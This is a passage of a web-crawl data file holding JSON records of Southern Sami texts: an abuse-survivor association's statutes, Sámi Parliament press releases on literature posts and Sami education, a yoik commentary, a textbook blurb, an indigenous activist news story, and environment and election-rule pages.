0.999993085861206}","num_words":326,"character_repetition_ratio":0.04,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.117,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"§1 Ulmie:\nJaksedh gaajhkh almah gïeh maanabaelien seksuelle irhkemh gïerteme, dovne dej lïhkesadtjh jïh lïhkemes åahpetjh.\n§2 Siebrien laavenjassh:\nFaagebarkijh, polijtikerh jïh åajvaladtjh raeriestidh.\nBïevnesh joekedidh, irhkeldh baernieh jïh almah åajvahtidh, dej lïhkesadtjh jïh viehkie-institusjovnide jïjtjemh nehtesæjrosne.\nSiebriedahkedigkiedimmesne vååjnedh.\nIrhkeldh almide gaavnedimmes-sijjieh hååkedh.\nNuepieh buektedh guktie viehkiem jïjtsasse åadtjodh.\nDåarjoejarngigujmie aktesne barkedh, jeatjah organisasjovnigujmie jïh byjjes viehkie-institusjovnigujmie.\nBarkedh ålkoestimmien vuestie.\nIj edtjh beetneh-beetsuvh vaeltedh.\n§3 Lïhtsege-voete jïh lïhtsegemaaksoe\nGaajhkh almah gïeh seksuelle irhkemh dååjrehtamme, maehtieh ellies-lïhtseginie sjïdtedh. Orre lïhtsegh tjuara gie jeatjebe siebreste uvtedamme jïh dejtie ståvroe mænngan dåhkasjehtedh. Siebrie dåarjoelïhtsegidie aaj ræhpas, dej lea soptsestimmiereakta ij goh gïeleveedtemes-reakta. Dah maehtieh §6:n mietie ståvrose veeljesovvedh jallh jeatjah sijjieh siebrien sisnjelen åadtjodh. Dåarjoelïhtsegh maehtieh jeatjebh goh gaarmanæjjah, eah gænnah tjoerh seksuelle irhkemh dååjrehtamme. Jaepietjåanghkoe lïhtsegemaaksoem nænnoste jïh dam galka åvtel-bodti maeksedh. Lïhtsege mij lea lååjkehke, jïh vielie goh akten jaepien lïhtsegemaaksoe, dan ij leah gïelevedtemes reakta jïh ståvroe dam maahta siebreste sliejhtedh. Sliejhteldh lïhtsege ij åadtjoeh siebrien sïjse tjaangedh åvtelen lïhtsegemaaksoem maakseme.\n§4 Jaepietjåanghkoe\nJaepietjåanghkoe, mij fïerhten jaepien suehpeden asken, dïhte siebrien bijjemes faamoe. Asken åvtelen jaepietjåanghkoem dle ståvroe lïhtsegidie jaepietjåanghkose gohtje. Uvtelassh mejtie jaepietjåanghkoe galka gïetedalledh, gelkieh ståvrose seedtesovvedh geekte vahkah jaepietjåanghkoen åvtelen. Ellies aamhteselæstoe tjuara lïhtsegi jaksoemieresne vahkan åvtelen jaepietjåanghkoem.\nGaajhkh lïhtsegh jaepietjåanghkose biesieh. Ståvroe maahta jeatjah olmetjh dahka bööredh jallh meedijam. Jaepietjåanghkoen lea nænnoestimmiefaamoe dej lïhtsegi låhkojne gïej gïelevedtemes reaktah jïh gïeh tjåanghkosne meatan. Ståvroelïhtsegh maehtieh elliesfaamoem vedtedh jis eah maehtieh jaepietjåanghkose båetedh. Elliesfaamosne galka tjåadtjodh mejnie eareninie ståvroelïhtsegen lea gïelevedteme. Ij guhten gænnah vielie goh akte gïele. Jaepietjåanghkoe ij maehtieh uvtiedimmie njoelkedasse-jarkoestimmiem gïetedalledh mij ij leah aamhteselæstose båateme vahkan åvtelen jaepietjåanghkoem. Jeatjah aamhtesh jaepietjåanghkoe maahta gïetedalledh jïh nænnoestidh gosse 2\/3 dejstie gïeh leah meatan tsihkestehtieh dam. Daate maahta nænnoestovvedh barre dennie aamhteselæstoe-dåhkasjehtiemisnie. Jaepietjåanghkoem dïhte veeljeme tjåanghkoe-juhtiehtæjja juhtehte, ij dïhte daarpesjh lïhtseginie årrodh. Jis ij leah jeatjah-ligke mieriedovveme, dellie nænnoestimmie lea faamosne sïejhme jienebelåhkojne dejstie gïeh leah gïelem vadteme. Gåaroes gïelem galka ov-vedteme gïeline utnedh.\nJis jeenjebh goh akte uvtelasse, dle veeljeme galka tjaaleh-ligke juhtedh. Barre uvtiedimmie kandidaath gelkieh gïeleleahpide tjaalasovvedh. Jis jeenjebh gelkieh veeljesovvedh seamma gïelevedtiemisnie, dellie leah kandidaati låhkoe gïeleleahpese tjaaleldahkesne gallesh dah maehtieh veeljesovvedh båetije veeljemisnie. Gïeleleahpah mah leah gåaroes, mej leah kandidaath jeatjah nommesne, jallh mej eah leah seamma jeenjh tjaaleldh kandidaath goh dah mah leah veeljemisnie, dah eah leah faamosne jïh dejtie ov-vedteme gïeline låhka.\nGosse veeljemh akti akti juhtieh, jïh jis kandidaate ij åadtjoeh vielie goh lehkiem dejstie gïelijste, dellie veeljeme galka orresistie juhtedh dej geektesi gaskemsh gïeh jeenjemes gïelh åådtjeme. Jis mubpene veeljemisnie aaj seamma gellie gïelh, dellie vuerpien faamoe dïhte mij nænnoste.\nJaepietjåanghkoe galka:\nSiebrien jaepiebïevnesem gïetedalledh\nSiebrien reeknemassem gïetedalledh\nUvtelassh gïetedalledh\nLïhtsegemaaksoem mieriedidh\nSiebrien beetneh-soejkesjem nænnoestidh\nVeeljedh:\nÅvtehkem\nMubpie-åvtehkem\nStåvroelïhtsegh\n§5 Joekoen jaepietjåanghkoe:\nJoekoen jaepietjåanghkoem ståvroe åtna gosse ståvroe dam mierede, jallh gosse unnemes gåalmahtasse lïhtsegijstie giej gïelevedtemes reaktah dam tsihkestehtieh. Gåhtjome dellie seammaligke seedtesåvva goh sïejhme jaepietjåanghkose, unnemes 14 biejjieh åvtelen tjåanghkoem. Joekoen jaepietjåanghkoe maahta gïetedalledh jïh nænnoestidh barre dejtie aamhtesidie mah leah gåhtjoemisnie bæjhkoehtovveme.\n§6 Ståvroe:\nStåvroe, bijjemes faamohke jaepietjåanghkoej gaskem, siebriem juhtehte. Ståvrosne åvtehke, mubpie-åvtehke jïh jeenjemes 3 ståvroelïhtsegh. Ståvroe veeljesåvva geekten jaapan, nuepine aaj orresistie veeljesovvedh. Ståvroe galka tjåanghkoem utnedh gosse åvtehke dam tsïhkestahta, jallh gosse ståvroelïhtsegi jienebelåhkoe dam tsïhkestahta. Ståvroen nænnoestimmiefaamoe gosse ståvroen jienebelåhkoe desnie. Ståvroetjåanghkosne nænnoestimmieh dorjesuvvieh gïeli jienebelåhkojne. Jis gïelevedtemen mænngan jïebne, dellie ståvroe-åvtehken gïelem geekten giertien låhka. Jeenjemes dejstie mah ståvrosne tjahkan, gelkieh gaarmanæjjah mah seksuelleligke irhkesovveme.\n§7 Ståvroen laavenjassh:\nStåvroe galka:\nJaepietjåanghkoen nænnoestimmieh tjïrrehtidh.\nJis daerpies, moenehtassh\/ olmetjh nommehtidh sjïere laavenjassi åvteste, jïh dejtie njoelkedassh buektedh, jïh dovne nommehtidh dejtie mah åadtjoeh saadth-olmetjinie siebrien åvteste.\nSiebrien ekonomijem vïhtesjidh jïh reeredh dan aajketje laaki, njoelkedassi jïh nænnoestimmiej mietie.\nBiejjieladtje åvtehkem barkose bïejedh jïh dam stilledh mejnie galka barkedh.\nStåvroetjåanghkoeh maehtieh aaj telefovnen jallh gaskeviermien baakta juhtedh.\n§8 Sliejhteme:\nDïhte guhte meadta jallh siebriedahken njoelkedasside vuastele, dam siebrie maahta siebrien sistie nehkielidh annjebodti jallh jieleme-aajkan, dagkeres nænnoestimmiem ståvroe dorje.\n§9 Orrijehteme:\n(Ij daate paragraafe maehtieh jeatjahtovvedh.)\nSiebrien orrijehtemem maahta barre jaepietjåanghkosne gïetedalledh. Jis orrijehteme nænnoeståvva unnemes 2\/3 jienebelåhkojne, dellie ståvroe gohtje joekoen jaepietjåanghkose golmen asken mænngan. Jis orrijehteme galka tjïrrehtovvedh dellie tjuara mubpesth nænnoestovvedh 2\/3 jienebelåhkojne.\nIktedimmie jeatjah ïedtje-organisasjovni gujmie, ij leah daan siebrien orrijehteme. Iktedimmie jïh dalletje njoelkedasse-jarkoestimmieh, mierieduvvieh dej nænnoestimmiej mietie mah laake-jeatjahtehtemem stuvrehtieh. Siebrien orrijehtiemisnie beetneh-beetsuvh gelkieh jeatjah organisasjovnese aevhkine sjïdtedh man seammaleejnes ulmie, v.g. dagkeren dåarjoejarngese olmetji åvteste mah seksuelleligke arhkanamme.\n§10 Njoelkedasse-jeatjahtehteme\nJarkoestimmieh maehtieh barre sïejhme jallh joekoen jaepietjåanghkosne nænnoestovvedh, mænngan goh aamhteselæstosne orreme, jïh dïsse 2\/3 vedteme gïelijste leah daerpies.\n§11 Vuelietjaeleme-nænnoestimmieh jïh prokura\nVuelietjaeleme-reakta jïh prokura, siebrien nommesne, vadtasåvva biejjieladtje åvtehkasse jïh ståvroen åvtehkasse geahkesohkese.","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/aarjel.utsattmann.no\/vedtekter-for-utsattmann\/","date":"2020-02-22T20:11:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875145713.39\/warc\/CC-MAIN-20200222180557-20200222210557-00522.warc.gz","language":"sma","language_score":1.0000002384,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"sma_Latn_score\": 1.000000238418579}","num_words":733,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.135,"stopwords_ratio":0.08,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daelie Saemiedigkien leah 8 kontovresijjieh Varangerbotneste noerhtene Snåasese åarjene. Gïjren 2020 Saemiedigkie göökte bievnijebarkoeh bæjhkohte mah edtjieh eadtjohkelaakan bïhkedimmine jïh bievnieminie saemien lidteratuvreste barkedh. Dïhte akte barkoe bïejesåvva Árran julevsaemien jarngese Hábmerisnie, gusnie Saemiedigkien joe lea kontovresijjie, mearan dïhte mubpie barkoe bïejesåvva saemien kultuvre- jïh evtiedimmiejarngese Sijti Jarnge Aarbortesne.\n– Joekoen sjollehke mijjieh daejnie bievnijebarkojne Aarbortesne mijjen lïhkesvoetem nænnoestibie åarjelsaemien gïeledajvesne. Mijjieh geerjene ihke Sijti Jarnge lea Saemiedigkiem buerie båeteme vaajtelamme sov jarngese. Mijjieh utnebe hijven Saemiedigkie sæjhta maehtedh meatan årrodh aktene lïhkebe laavenjostosne saemien aktöörigujmie Aarbortesne jïh byjreskisnie, direktööre Rune Fjellheim Saemiedigkesne jeahta.\nDaajroem saemien lidteratuvren bïjre geerjehtidh\nDoh orre tseegkeme bievnijebarkoeh edtjieh eadtjohkelaakan bïhkedimmine jïh bievnieminie saemien lidteratuvreste barkedh, gusnie barkoe edtja årrodh daajroem geerjehtidh saemien lidteratuvren jïh kultuvren bïjre gærjagåetide, maanagiertide, skuvlide jïh mubpide fïereguhtene åarjel- jïh julevsaemien dajvesne, stoerretjåanghkoen nænnoestimmien mietie \"Bievneme saemien lidteratuvreste\" skïereden 2018.\nSaemiedigkie sæjhta daejtie göökte barkojde beagkoehtidh daan gïjren.\n– Daate göökte gieltegs barkoeh mejtie jïjtjeraarehke jïh faepeles almetjh ohtsedibie giej stoerre ïedtje saemien lidteratuvrese jïh buelije sjaavnjoe dan bïjre bievnedh. Mijjieh aavoedibie bååstede båetedh Aarportese juktie mijjen orre kontovresijjiem byjjeslaakan rïhpestidh seamma tïjjen goh mijjen orre meatanbarkijem dåastobe, saemiedigkiedirektööre jeahta.\nSaemiedigkien reereme Sijti Jarngem vaaksjoeji daan våhkoen gusnie gaskem jeatjah kontovrelokaalide vuartasjin jïh barkoem åvtese digkiedin. Nuepie aaj gååvnese jeatjah barkoeh Saemiedigkien reeremisnie maehtieh Aarbortese bïejesovvedh jis kontovresijjie gååvnese jarngesne.\nVielie bïevnesh: Direktööre Rune Fjellheim, tlf: 910 09 320, firstname.lastname@example.org","id":"","dump":"CC-MAIN-2020-10","url":"https:\/\/saemiedigkie.no\/Saernievaaarhkoe\/PRM-Sov-lihkesvoetem-naennoste-aaarjelsaemien-gieledajvesne","date":"2020-02-19T20:32:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875144167.31\/warc\/CC-MAIN-20200219184416-20200219214416-00466.warc.gz","language":"sma","language_score":0.9999936819,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999936819076538}","num_words":222,"character_repetition_ratio":0.093,"word_repetition_ratio":0.0,"special_characters_ratio":0.131,"stopwords_ratio":0.122,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ulmie goerehtimmine lea orreme vuarjasjidh mejtie saemien learohkh hijven jïh seammavyörtegs faalenassem saemien gïelelïerehtæmman jïh lïerehtæmman saemien gïelesne åadtjoeh, jïh guktie staateles vierhkievierhtieh leah sjïehtesjamme juktie dagkeres faalenassem gorredidh. Goerehtimmie lea boelhken 2015-2018 bïjre.\nReektehtsisnie vååjnesasse båata skuvleaajhtere vaenie jïh mujvies bïevnesh eejhtegidie jïh learoehkidie vadta reaktan bïjre saemien gïelelïerehtimmien jïh lïerehtimmien bïjre saemiengïelesne. Viesjiesvoeth lïerehtimmiefaalenassesne saemien learoevierhtievaanoen gaavhtan, vaenie saemien lohkehtæjjah gååvnesieh jïh viesjiesvoeth öörnedimmesne jïh tjïrrehtimmesne maajeööhpehtimmeste. Reektehtse aaj vuesehte aktöörh mej dïedte vierhkievierhtiej åvteste juktie saemien gïelelïerehtimmiem jïh lïerehtimmiem saemiengïelesne nænnoestidh, eah nuekies bæjjese fulkh mejtie råajvarimmieh bueriedimmieh vedtieh. Rïjhkerevisjovne aaj sjïerelaakan tjïerteste ij guhte Maahtoedepartemeenten vueliegællan ektievoetijste dïedtem utnieh ellies daajroevåaromem tsiehkien bïjre gorredidh. Dovne mejtie learohki reaktah illesuvvieh jïh mejtie kvaliteete ööhpehtimmesne jïh learoevierhtine hijven jïh seammavyörtegs saemien gïelelïerehtimmiefaalenassem jïh lïerehtimmiefaalenassem saemiengïelesne gorredieh.\nSaemiedigkie lea madtjeles Rïjhkerevisjovne lea fokusem bïejeme saemien lïerehtæmman. Dah leah vuesiehtamme vihkeles haestemh jïh joekehtsh mejgujmie tjuara guhkiebasse barkedh.\n– Daate sæjhta mijjem viehkiehtidh dennie guhkiebasse barkosne jïh lïerehtimmieåejvieladtjide haestedh råajvarimmieh darjodh juktie eevre tjïelkelaakan vuesiehtidh gusnie nuepie gååvnese bueriedimmieh darjodh, saemiedigkieraerie Mikkel Eskil Mikkelsen jeahta.\nDååjrehtimmiej mietie Saemiedigkie såemies dejstie konklusjovnijste veelelaakan damta mejtie rïjhkerevisjovnereektehts tjuvtjede, dej gaskem haestemh maajhööhpehtimmine jïh hospiteradimmine. Rïjhkerevisjovnereektehtse gaskem jeatjah eevre tjïelkelaakan tjïerteste fer gellie aktöörh meatan.\n– Daate lea digkiedimmie maam mijjieh Saemiedigkeste maaje vaeltebe, joekoen guktie doh jeenjemes voernges aktöörh saemienööhpehtimmiem bæjjese fulkieh. Vuejnebe gaskem jeatjah Maahtoedepartemeente ij nuekieslaakan saemien learohkh meatan vaeltieh sijjen nasjonaale råajvarimmine, jïh mijjieh vuejnebe fylhkenålman eevre tjïelkelaakan lea guektiengïerth råålla dovne goh vaaksjomeåajvaladtje jïh maajhööhpehtimmien ööhpehtimmiekoordinatbovre, Mikkelsen jeahta.\nSaemiedigkie reektehtsem åtna goh joekoen vihkeles gosse laakemoenehtse edtja revideradimmine ööhpehtimmielaakeste aelkedh orrejaepien.\n– Laakine maahta jarkelimmieh darjodh mah maehtieh jienebh dejstie haestiemijstie illedh, goh tjïelke tjïertestimmieh reaktan bïjre saemien lïerehtæmman jïh laakine vihtiestidh reaktam saemien learoevierhtide, Mikkelsen jeahta.\nSaemiedigkie sæjhta nuepiem nuhtjedh guhkiebasse barkedh saemien lïerehtimmine. Goeven Saemiedigkie edtja dahkoesoejkesjem learoevierhtieevtiedæmman gïetedidh, gusnie ulmie lea dejtie ovmessie haestiemidie learoevierhtiesuerkesne bueriedidh tjïelke råajvarimmiejgujmie.\n– Faageorrestimmien tjïrrh libie tjïelkelaakan fokusem bïejeme dïsse mij lea vihkielommes saemienööhpehtimmesne. Jïh vihkielommes gaajhkeste lea mijjieh sïjhtebe skraejriem vaeltedh dejtie ovmessie aktööride lïerehtimmiesuerkesne tjöönghkedh juktie haestiemidie digkiedidh, Mikkelsen jeahta, mij jaahka tjåadtjoehtæjjah gaajhkine njieptjine sijhtieh reektehtsem bæjjese fulkedh, juktie fïereguhten learohken reaktam saemienlïerehtæmman gorredidh jïh saemien gïelh vaarjelidh, mah leah håvhtadamme.\nJis dov leah gyhtjelassh jallh gihtjehtimmiem sïjhth, gaskesadth saemiedigkieraeriem Mikkel Eskil Mikkelsen, +47 917 42 161, email@example.com","id":"","dump":"CC-MAIN-2020-10","url":"https:\/\/saemiedigkie.no\/Saernievaaarhkoe\/PRM-Madtjeles-ihke-Rijhkerevisjovne-lea-saemien-lierehtimmiem-goerehtamme","date":"2020-02-19T00:59:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875143963.79\/warc\/CC-MAIN-20200219000604-20200219030604-00434.warc.gz","language":"sma","language_score":0.9999991655,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"sma_Latn_score\": 0.9999991655349731}","num_words":373,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.118,"stopwords_ratio":0.153,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Raaktan beagkoes sjidti, Nils Mattias Anderssonen vuelie Åvlavuelien råantjoeh. Goh Sveerjen Radijove 1960-låhkosne lij Saepmien mietie vuelkeminie båeries joejkemh baantese dïbreldehteminie, dle lin Dearnan-dajvesne tjöödtjestamme goh daate vuelie govledæjjide joekoenlaakan dïjpi. Dan mænngan hov lea vijriehkåbpoe jakseme, Israel Ruongen jarkoestimmesne sveerjengïelese jïh englaantengïelese Renhjorden på Oulavuolie, The Herd on Oulavuolie (1969, 1997). Nils Mattias Anderssone daennie mojhtesevuelesne tjïelke soptseste aerpievierhtien vuajnoem almetji vaasemen bïjre - almetjen jielemem jïh jaamemem ij naan loedth eatnamisnie laehpieh, mohte mearan annje guhte joem satnem måjhta dle ektievuekien mojhtesisnie læjhkan jielieminie.\nAltese maanabaelijste soptseste guktie eevre jeatjhlaakan dejpelatje båatsoeburride. Bovtse lij låemtebe, jïh goh edtjin barre naan biejjien jijjien bovtsi luvnie ryöjnesjidh, dellie ij lih sïejhme niestiesvoesse meatan gænnah. Aaltoeh dan låemties, utni barre gohtjedh dejtie jïh dle deavese gadtjedh, jïh goh aaltoeh böötin röödtsedh dellie varke aaltoen nualan goegkerdi jestiehti jïh njaami. Daej biejji vierhtieraajterisnie Næjla Meehten lij ojhte smaave båatsoeburrie, idtji stuerebe krievviem åadtjoeh goh akten ålman gaarkh gaegniedin. Jïjtje aaj jeahta, ij guktie gænnah seamma dejpeli: \"Daelie jis, eah sih maehtieh gogka gænnah krievvine jallh jïenehkine juhtedh.\"(Jojk – Yoik 1969\/1997:118, (tjaelijen jarkoest.)\nGosse lohkijibie murreds boelhkide altese tjiehtesisnie, dellie aaj aervedibie man veaksehke jïh sjiehteles båatsoekarrine ikth lij. Guktie jeatja Dearnan ålma Næjla Meehtem buerkiesti, Næjla Meehte lij gaaje veaksehke jïh vissjeles, provhki dovne vaejsjiem dåalvoehtidh tjoejken, guktie dellie guarkajibie eensi reajnoemænnie hov lij (Ibid). Jïh gosse hujnes boelhkide lohkijibie dle tjoeveribie mujhtedh, Næjla Meehte tjoeveri båatsoem slïejhtedh juktie repmie goegkeji. Voeresbiejjide lij spïtjeburrine jïh åesiestæjjine gïehteleminie, jïh stoerre sårkoem sutnjien goh tjoeveri dejnie aaj slïejhtedh. Eevre gosse dam beagkoes joejkemem baantese dïbreldin, dle Næjla Meehten gåmmebe Aanna garre skïemhtjies. Jïh Israel Ruonge dan vuelien bïjre tjaala, plaeresne Ord och Bild 3\/1966, aalkoebaakojne:\n\" Almetjigaskoe aajmoem gosse joejkstidh lea joejkijasse vihkeles. Mattias Anderssone altese vaajesem vedti aktine tsiehkine – Dearnesne lij – jïh naan gille almetjh desnie govledimmesne, tjamki goltelin jïh ojhte lin meatan dennie byjreskisnie gusnie vuelie lij sjidtieminie. Mattias Anderssone jeehti satne sijhti altese testamentem vihtiestidh.\"\n(Yoik 1997:122 (tjaelijen jarkoest.))","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/www.calliidlagadus.org\/web\/index.php?sladja=51&vuolitsladja=66","date":"2020-02-22T19:00:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875145713.39\/warc\/CC-MAIN-20200222180557-20200222210557-00177.warc.gz","language":"sma","language_score":0.999937892,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.999937891960144}","num_words":320,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.164,"stopwords_ratio":0.066,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mijjieh daebpene 2\n\n\nHeidi Guttorm Einarsen & Svein Nordsletta\nMijjieh daebpene 2 lea learoevierhtie seabredhmaahtoen jïh geografijen bïjre 5.–7. klaassi learoehkidie.\nSeabredhmaahtoe jïh geografije lea learoegærja seabradahken bïjre jïh eatnemedaajroen jïh daej dajvi bïjre gogkoe veasoejibie. Learoe¬gærja lea guektien boelhkese juakasovveme. Voestes ¬boelhke seabredhmaahtoen bïjre, jïh mubpie boelhke jis geografijen bïjre. Guvvieh jïh illustrajovnh dam learoevierhtietekstem dåarjoeh. Ovnohkens baakoeh jallh synonyjmh leah sjïere klaeriejgujmie mïerhke¬sjamme jïh åejvieteksten bealese bïeje¬sovveme. ¬Fïerhten boelhken leah tjåenghkies-tjaalege jïh rïektes-¬borhtje kapihtelen minngiegietjesne. ¬Laavenjassh leah dovne ohtsedh jïh gaavnh- darjoeh jïh darhkh.\nMijjieh daebpene 3 lea gåalmede gærja seabredhmaahtoen jïh geografijen bïjre daennie learoevierhtieraajrosne. Learoevierhtie jaepien 2013 tjaalasovveme seabredhfaagesoejkesji maahtoeulmiej mietie.\nJeatjah gærjah daennie raajrosne::\nMijjieh daebpene 1 ja Mijjieh daebpene 2. Bïhkedassh lohkehtæjjide, gærjah jïh lissie laavenjassh daesnie: www.calliidlagadus.org\/sf\nAlmmuhanjahki: 2019\nDipma olggoš","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/www.calliidlagadus.org\/web\/index.php?egavpi=1&girji=559&giella1=sam","date":"2020-02-23T22:17:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875145859.65\/warc\/CC-MAIN-20200223215635-20200224005635-00282.warc.gz","language":"sma","language_score":0.9999525547,"language_script":"Latn","minhash_cluster_size":17,"top_langs":"{\"sma_Latn_score\": 0.9999525547027588}","num_words":119,"character_repetition_ratio":0.107,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.21,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dïhte noere nyjsenæjja Amazonas-jungelistie baalkajgujmie jïh kaanovigujmie veasoeji goh infrastruktuvre gosse satne goh tjïjhtjen jaepien båeries nïejte måjhta gosse voestes aejkien aktem åljasïeltem dååjri.\n– Manne jïh såemies jeatjah maanah aktene tjåanghkosne tjahkasjimh. Manne tuhtjim doh jeanatjommesh lin haarmesne jïh båasarimmesne. Manne guarkajim ålma skuvlem, gåetieh jïh beetnegh faalehti. Men maahtam mujhtedh manne ussjedim dïhte slogneste – bielelen guarkedh mannasinie.\nBearjadahken Tjaktjen Tjåanghkosne soptsesti sov voenen bïjre jïh sov åålmegen gæmhpoen bïjre tjoehpedimmien vööste dehtie skåajjeste mij lij dej hïejme jïh jieliemasse. Akte gæmhpoe maam sjïerelaakan minngemosth vitnin, gosse Ecuadovre dööpmesovvi daaresjimmiej åvteste aalkoealmetjidie jïh åljasïelte tjoeri jïjtjemse destie giesedh.\nMen åenehks bodte.\n– Daelie abpe Ecuadovren ebrieskåajje ålja-auksjovnese bïejesovveme. Almetjh jeatjah voenetjinie eah daejrieh dah leah håvhtadamme. Dah tjihtesuvvieh guhkebe guhkebe skåajjen sijse, goltelæjjide soptsesti.\nGualinga lea akte åehpies byjrese- jïh aalkoealmetjeaktiviste sjïdteme jïh gaskem jeatjah loevtsæjresne vaadtseme New Yorkesne dorjehtæjjine Leonardo DiCaprione ektine klijmagæmhpoen åvteste.\n– Idtjim gamtoem jïh stoeredahkem daejrieh daejstie bïegkefaamoeprosjektijste. Men im leah ierielimmesne guktie gaajhke lea evtiesovveme. Dan åvteste dagkerh meadtoeh sjugniehtuvvieh aalkoealmetji vööste gaajhkene lehkesne, jalhts veartenen mubpene bielesne veasoeminie. Daesnie gujht aaj aalkoealmetjh gæmhpoeminie juktie åadtjodh jåerhkedh jieledh goh åålmege sov gieline jïh kultuvrine. Joekoen seamma, jalhts tsiehkieh, byjrese jïh gïele leah jeatjahlaakan, men gæmhpoe lea seamma, Snåsningese jeahta.\nDïhte tjïelkesti abpe daajroe maam maanine lïeri dam sov tjidtjaahkeste åadtjoeji. Jïh dïhte aaj tjïelke raerieh vedti goltelæjjide.\n– Uvtemes dle joekoen vihkele hijven gaskesem utnedh eejhtegeboelvine, dan åvteste dah dan jïjnjem daejrieh. Mubpelen sijhtebe ajve jåerhkedh gæmhpodh. Ij leah vihkele gænnah man onne lea. Mijjieh ajve jåerhkebe gæmhpodh.","id":"","dump":"CC-MAIN-2020-16","url":"https:\/\/www.snasningen.no\/nyheter\/2017\/10\/06\/%E2%80%93-G%C3%A6mhpoe-lea-seamma-15413833.ece","date":"2020-04-07T03:24:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585371665328.87\/warc\/CC-MAIN-20200407022841-20200407053341-00525.warc.gz","language":"sma","language_score":1.0000032187,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000032186508179}","num_words":251,"character_repetition_ratio":0.039,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.108,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gaajhkh suerkieh dïedtem utnieh byjresem sijjen jïjtse barkosne krööhkedh. Fylhkenålma edtja viehkiehtidh guktie reerenassen byjrese- jïh arealepolitihke tjïrrehtamme sjædta regijovnale jïh voenges daltesisnie. Tjïelti akte vihkeles råålla byjresevaarjelimmiebarkosne. Tjïeltide bïhkedidh jïh viehkiehtidh lea dannasinie akte vihkeles laavenjasse Fylhkenålman byjresevaarjelimmiegoevtesasse.\nByjrese jïh klijma\nAkte bijjemes ulmie abpe byjresebarkose lea monnehke evtiedimmie. Byjresevaarjelimmie akte vijries faagesuerkie mij gaajhkem feerhmie, goh arealereereme jïh dearjoe, jïh eatnemegellievoete jïh reereme gueleste jïh vijreste.","id":"","dump":"CC-MAIN-2020-16","url":"https:\/\/www.fylkesmannen.no\/sma\/Nordlaanten\/Byjrese-jih-klijma\/","date":"2020-04-09T15:23:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585371858664.82\/warc\/CC-MAIN-20200409122719-20200409153219-00493.warc.gz","language":"sma","language_score":1.0000046492,"language_script":"Latn","minhash_cluster_size":90,"top_langs":"{\"sma_Latn_score\": 1.0000046491622925}","num_words":68,"character_repetition_ratio":0.091,"word_repetition_ratio":0.0,"special_characters_ratio":0.12,"stopwords_ratio":0.206,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Publicerad: 11 March 2020\nLaake jïh öörnege\nVeeljemelaakh\nVeeljemeåejvieladtjen laavenjassh jïh veeljemen tjïrrehtimmie evtemes veeljemelaaken jïh veeljemeöörnegen mietie regleradidh.\nÖörnege gosse gïelem dåastoehtidh\nDïhte lea tjaatsestimmiedåastojh mah dïedtem utnieh tjaatsestimmiem tjïrrehte reaktoeslaakan jïh dïhte lea öörnege veeljemesijjesne jïh veeljemesïeteli gaskem.\nEah krirrieh åadtjoeh propagaandem gïetedidh dusnie gusnie veeljijh edtjieh dej tjaatsestimmieh ryöjredidh.\nJis datne mïelh tjaatsestimmie idtji reaktoeslaakan tjïrrehtamme dellie edtjh voestes iereste jiehtedh dam tjaatsestimmiedåastoejidie. Datne maahtah aaj tjïelten veeljememoenehtsem bïeljelidh.\nVeeljemeilledahkem laejhtedh\nJis datne mïelh maam akt båajhtode jallh miste dorjeme mij veeljemeilledahkem tsavtseme maahtah veeljemeilledahkem laejhtedh. Laejhtemem edtjh seedtedh Veeljemepryövememoenehtsasse aaremosth biejjien veeljemebiejjien mænngan jïh minngemosth luhkie biejjiej mænngan veeljemeilledahkem lea bæjhkoehtamme.\nSjïere deahpadimmieh maehtieh miedtemh årrodh\nMiedtemh mah edtja polijsese bæjhkoehtidh leah vuesiehtimmieh jis naaken\n- vadta jallh baalkam vaalta jis sjïere vuekine tjaatsestidh jïh ij tjaatsesth\n- goerehte guktie naaken lea tjaatsestamme jallh\n- voejhkele veeljemem heerredidh jïh illedahkem 